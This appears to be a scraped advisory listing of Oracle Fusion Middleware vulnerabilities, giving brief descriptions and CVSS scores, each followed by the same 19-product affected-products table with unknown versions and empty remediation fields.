A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with network access via T3 or IIOP to fully compromise the system, with a CVSS 3.1 base score of 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Access Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, rated CVSS 3.1 base score 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated remote attackers to fully compromise the system via HTTP, with a CVSS 3.1 base score of 9.8.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized sensitive data access or cause denial of service, rated CVSS 3.1 score 9.1.
9.1 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, rated with a CVSS 3.1 base score of 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the portal, with a CVSS 3.1 base score of 9.9 indicating severe risk.
9.9 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with RMI network access to fully compromise the system, rated with a CVSS 3.1 base score of 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows low-privileged attackers with HTTP network access to modify critical data, read unauthorized data, and cause partial denial of service, with a CVSS 3.1 score of 7.7.
7.7 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Web Services Manager versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to create, delete, or modify critical data, rated CVSS 3.1 base score 9.1.
9.1 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Unified Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with LDAP network access to potentially compromise confidentiality, integrity, and availability, rated CVSS 8.5.
8.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Unified Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with LDAP network access to potentially compromise confidentiality, integrity, and availability, rated CVSS 8.5.
8.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Unified Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated attackers with network LDAP access to gain unauthorized access to critical or all accessible data, rated with a CVSS 3.1 base score of 7.5.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.20 allows unauthenticated network attackers to gain unauthorized read access to certain data, with a CVSS 3.1 base score of 3.7 indicating low confidentiality impact.
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A high-severity vulnerability in Oracle Fusion Middleware Service Delivery Platform Messaging Enabler (versions 14.1.2.0.0 and 12.2.1.4.0) allows unauthenticated attackers to modify or delete data and potentially crash the platform.
8.7 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Service Delivery Platform (Messaging Enabler) versions 14.1.2.0.0 and 12.2.1.4.0 allows low-privileged network attackers via Oracle Net to create, delete, or modify critical data, with a CVSS 3.1 score of 9.6.
9.6 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
